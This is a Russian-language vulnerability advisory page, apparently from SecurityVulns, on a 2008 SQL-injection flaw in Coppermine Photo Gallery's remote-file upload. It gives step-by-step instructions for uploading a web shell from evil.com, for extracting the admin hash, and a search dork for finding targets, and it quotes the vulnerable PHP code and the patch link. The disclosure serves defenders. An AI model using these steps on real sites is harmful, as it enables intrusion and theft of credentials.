Информационная безопасность
[RU] switch to
English Version



Дополнительная информация

  Ежедневная сводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

From:Elekt
Date:25 апреля 2008 г.
Subject:Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.16

3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.

4) Автор: Elekt (bug found April 9, 2008)

5) Тип: удалённая

6) Опасность: 5/10

7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.

8) Эксплоит: способ эксплуатации уязвимости

[1] Shell upload

(1) Заливаем shell.hack и .htaccess на свой сервер
(2) Авторизуйтесь, вам должно быть разрешено заливать файлы
(3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
(4) Удачная загрузка -> Продолжить
(5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php


[2] Admin data

(1) Заливаем exploit.hack и .htaccess на свой сервер
(2) Настраиваем [options] в эксплойте
(2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
(2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
(3) Авторизуйтесь, вам должно быть разрешено заливать файлы
(4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
(5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
(6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51787.0.html


Сам уязвимый код:

/upload.php

PHP код:
if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) {  
   cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__);  
}  

   $URI_upload_count = count($_POST['URI_array']);  

   if ($URI_upload_count > 0) {  
     
          if(!(eregi('^content-type: ([[:graph:]]+)', $header['wrapper_data'][$i], $MIME_extraction_array))) {  

                   $MIME_result = cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'");  

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород

 
 



Rating@Mail.ru
test server